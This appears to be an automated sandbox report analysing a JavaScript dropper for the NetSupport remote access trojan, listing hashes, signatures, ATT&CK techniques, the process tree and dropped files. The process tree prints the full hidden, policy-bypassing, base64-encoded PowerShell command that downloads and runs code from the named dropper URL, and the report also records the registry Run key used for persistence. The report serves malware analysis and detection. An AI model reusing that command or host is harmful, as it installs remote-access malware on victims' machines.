netsupport | 2ecee022c36e71313e1af91b039671ddabf56f2f28db3141e48d15dccf96064f

Analysis

max time kernel
91s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20220812-en
resource tags

arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
submitted
17/10/2022, 17:39

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General

Target

5a8f908de929fa670000c3c72a900288.js
Size

66KB
MD5

5a8f908de929fa670000c3c72a900288
SHA1

b62fe78ce6c9cfe5040a8e94c522dcff7a43de4f
SHA256

2ecee022c36e71313e1af91b039671ddabf56f2f28db3141e48d15dccf96064f
SHA512

73cdc14322e7570fd835480e09211c3211eee9503368ec8a2567aec5b0c0f15c8628640f7cdab3de28a681cf2ef914b3c6874b48fa111ff6478d5bffa39c2543
SSDEEP

1536:je6R4Qklp7XoRZ93vd3LjUlqFF0gx4iwgQBk6buzxF8z:jxPklp7cr3vJ/UlqFKgxtwgQBfbUS

Score

10^/10

netsupport persistence rat

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://8ltd8.com/doc/index.php

Signatures

NetSupport
NetSupport is a remote access tool sold as a legitimate system administration software.
rat netsupport

Blocklisted process makes network request 1 IoCs

flow	pid	Process
5	3940	powershell.exe

Executes dropped EXE 1 IoCs

pid	Process
4904	presentationhost.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\Control Panel\International\Geo\Nation	wscript.exe

Loads dropped DLL 7 IoCs

pid	Process
4904	presentationhost.exe
4904	presentationhost.exe
4904	presentationhost.exe
4904	presentationhost.exe
4904	presentationhost.exe
4904	presentationhost.exe
4904	presentationhost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2295526160-1155304984-640977766-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SoftwareUpdater = "C:\\Users\\Admin\\AppData\\Roaming\\wcQaKtfq\\presentationhost.exe"	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3940	powershell.exe
3940	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3940	powershell.exe
Token: SeSecurityPrivilege	4904	presentationhost.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4904	presentationhost.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 4720 wrote to memory of 3784	4720	wscript.exe	82
PID 4720 wrote to memory of 3784	4720	wscript.exe	82
PID 3784 wrote to memory of 3940	3784	cmd.exe	84
PID 3784 wrote to memory of 3940	3784	cmd.exe	84
PID 3940 wrote to memory of 4904	3940	powershell.exe	85
PID 3940 wrote to memory of 4904	3940	powershell.exe	85
PID 3940 wrote to memory of 4904	3940	powershell.exe	85

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\5a8f908de929fa670000c3c72a900288.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /C poWeRShell -NOp -w HidDEn -ep byPasS -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AOABsAHQAZAA4AC4AYwBvAG0ALwBkAG8AYwAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3784
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    poWeRShell -NOp -w HidDEn -ep byPasS -Enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AOABsAHQAZAA4AC4AYwBvAG0ALwBkAG8AYwAvAGkAbgBkAGUAeAAuAHAAaABwACIAKQA=
    3⤵
    - Blocklisted process makes network request
    - Adds Run key to start application
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3940
  - - C:\Users\Admin\AppData\Roaming\wcQaKtfq\presentationhost.exe
      "C:\Users\Admin\AppData\Roaming\wcQaKtfq\presentationhost.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      PID:4904

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\wcQaKtfq\HTCTL32.DLL

Filesize
320KB

MD5
c94005d2dcd2a54e40510344e0bb9435

SHA1
55b4a1620c5d0113811242c20bd9870a1e31d542

SHA256
3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

SHA512
2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

Download Submit
C:\Users\Admin\AppData\Roaming\wcQaKtfq\HTCTL32.DLL

Filesize
320KB

MD5
c94005d2dcd2a54e40510344e0bb9435

SHA1
55b4a1620c5d0113811242c20bd9870a1e31d542

SHA256
3c072532bf7674d0c5154d4d22a9d9c0173530c0d00f69911cdbc2552175d899

SHA512
2e6f673864a54b1dcad9532ef9b18a9c45c0844f1f53e699fade2f41e43fa5cbc9b8e45e6f37b95f84cf6935a96fba2950ee3e0e9542809fd288fefba34ddd6a

Download Submit
C:\Users\Admin\AppData\Roaming\wcQaKtfq\MSVCR100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Roaming\wcQaKtfq\NSM.LIC

Filesize
259B

MD5
3a88847f4bbf7199a2161ed963fe88ef

SHA1
8629803adb6af84691dc5431b6590df14bad4a61

SHA256
a680947aba5cf3316be50f1ec6a0d8bf72f7d7ca79d91430c26e24680eddd35e

SHA512
2b6408e7334946655045914b2cfa14dcfb39502f64ffafad784717a8ca036b73928bd7a5b02d650d8698357c54c31cac11a705baed0e1e7a3a07d659a2104e02

Download Submit
C:\Users\Admin\AppData\Roaming\wcQaKtfq\PCICHEK.DLL

Filesize
18KB

MD5
104b30fef04433a2d2fd1d5f99f179fe

SHA1
ecb08e224a2f2772d1e53675bedc4b2c50485a41

SHA256
956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

SHA512
5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

Download Submit
C:\Users\Admin\AppData\Roaming\wcQaKtfq\PCICL32.DLL

Filesize
3.6MB

MD5
d3d39180e85700f72aaae25e40c125ff

SHA1
f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

SHA256
38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

SHA512
471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

Download Submit
C:\Users\Admin\AppData\Roaming\wcQaKtfq\PCICL32.DLL

Filesize
3.6MB

MD5
d3d39180e85700f72aaae25e40c125ff

SHA1
f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

SHA256
38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

SHA512
471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

Download Submit
C:\Users\Admin\AppData\Roaming\wcQaKtfq\PCICL32.dll

Filesize
3.6MB

MD5
d3d39180e85700f72aaae25e40c125ff

SHA1
f3404ef6322f5c6e7862b507d05b8f4b7f1c7d15

SHA256
38684adb2183bf320eb308a96cdbde8d1d56740166c3e2596161f42a40fa32d5

SHA512
471ac150e93a182d135e5483d6b1492f08a49f5ccab420732b87210f2188be1577ceaaee4ce162a7acceff5c17cdd08dc51b1904228275f6bbde18022ec79d2f

Download Submit
C:\Users\Admin\AppData\Roaming\wcQaKtfq\client32.ini

Filesize
925B

MD5
56e2df5f12ed677741d1bebc751a2cd0

SHA1
8b3db6f517d6ddaee7fde9c133283d54498ab105

SHA256
0544a5ce433a314ffd4362645e0cec27b9db34a4eef31a441a40d98f771661f5

SHA512
3a6293cf1bf431a4daa8086244637d836467e82ab90b3f95390825bbc431c48989f02d99e76776570acfee96f196b66e7ee45ea3323bcbb2661c2dd3bd5a54a9

Download Submit
C:\Users\Admin\AppData\Roaming\wcQaKtfq\msvcr100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Roaming\wcQaKtfq\msvcr100.dll

Filesize
755KB

MD5
0e37fbfa79d349d672456923ec5fbbe3

SHA1
4e880fc7625ccf8d9ca799d5b94ce2b1e7597335

SHA256
8793353461826fbd48f25ea8b835be204b758ce7510db2af631b28850355bd18

SHA512
2bea9bd528513a3c6a54beac25096ee200a4e6ccfc2a308ae9cfd1ad8738e2e2defd477d59db527a048e5e9a4fe1fc1d771701de14ef82b4dbcdc90df0387630

Download Submit
C:\Users\Admin\AppData\Roaming\wcQaKtfq\pcicapi.dll

Filesize
32KB

MD5
34dfb87e4200d852d1fb45dc48f93cfc

SHA1
35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

SHA256
2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

SHA512
f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

Download Submit
C:\Users\Admin\AppData\Roaming\wcQaKtfq\pcicapi.dll

Filesize
32KB

MD5
34dfb87e4200d852d1fb45dc48f93cfc

SHA1
35b4e73fb7c8d4c3fefb90b7e7dc19f3e653c641

SHA256
2d6c6200508c0797e6542b195c999f3485c4ef76551aa3c65016587788ba1703

SHA512
f5bb4e700322cbaa5069244812a9b6ce6899ce15b4fd6384a3e8be421e409e4526b2f67fe210394cd47c4685861faf760eff9af77209100b82b2e0655581c9b2

Download Submit
C:\Users\Admin\AppData\Roaming\wcQaKtfq\pcichek.dll

Filesize
18KB

MD5
104b30fef04433a2d2fd1d5f99f179fe

SHA1
ecb08e224a2f2772d1e53675bedc4b2c50485a41

SHA256
956b9fa960f913cce3137089c601f3c64cc24c54614b02bba62abb9610a985dd

SHA512
5efcaa8c58813c3a0a6026cd7f3b34ad4fb043fd2d458db2e914429be2b819f1ac74e2d35e4439601cf0cb50fcdcafdcf868da328eaaeec15b0a4a6b8b2c218f

Download Submit
C:\Users\Admin\AppData\Roaming\wcQaKtfq\presentationhost.exe

Filesize
109KB

MD5
b2b27ccaded1db8ee341d5bd2c373044

SHA1
1d0f9ca17c0961eeabffc2ba54e16854a13c8a9d

SHA256
e4985a9739637aad4a409c95da33a1304dc17fd6ef9046159b27c0b137a57911

SHA512
0987b11aa110ea6b6f4fe4361e587aff010508251644bdfb681a578fa4726fb56af039d55e0b74682fd7031414f665a98656186b220264c122a47d23751dcee1

Download Submit
C:\Users\Admin\AppData\Roaming\wcQaKtfq\presentationhost.exe

Filesize
109KB

MD5
b2b27ccaded1db8ee341d5bd2c373044

SHA1
1d0f9ca17c0961eeabffc2ba54e16854a13c8a9d

SHA256
e4985a9739637aad4a409c95da33a1304dc17fd6ef9046159b27c0b137a57911

SHA512
0987b11aa110ea6b6f4fe4361e587aff010508251644bdfb681a578fa4726fb56af039d55e0b74682fd7031414f665a98656186b220264c122a47d23751dcee1

Download Submit
memory/3940-135-0x00007FFA02680000-0x00007FFA03141000-memory.dmp

Filesize
10.8MB

Download
memory/3940-134-0x0000016810F90000-0x0000016810FB2000-memory.dmp

Filesize
136KB

Download
memory/3940-155-0x00007FFA02680000-0x00007FFA03141000-memory.dmp

Filesize
10.8MB

Download
memory/4904-142-0x0000000000B00000-0x0000000000E9A000-memory.dmp

Filesize
3.6MB

Download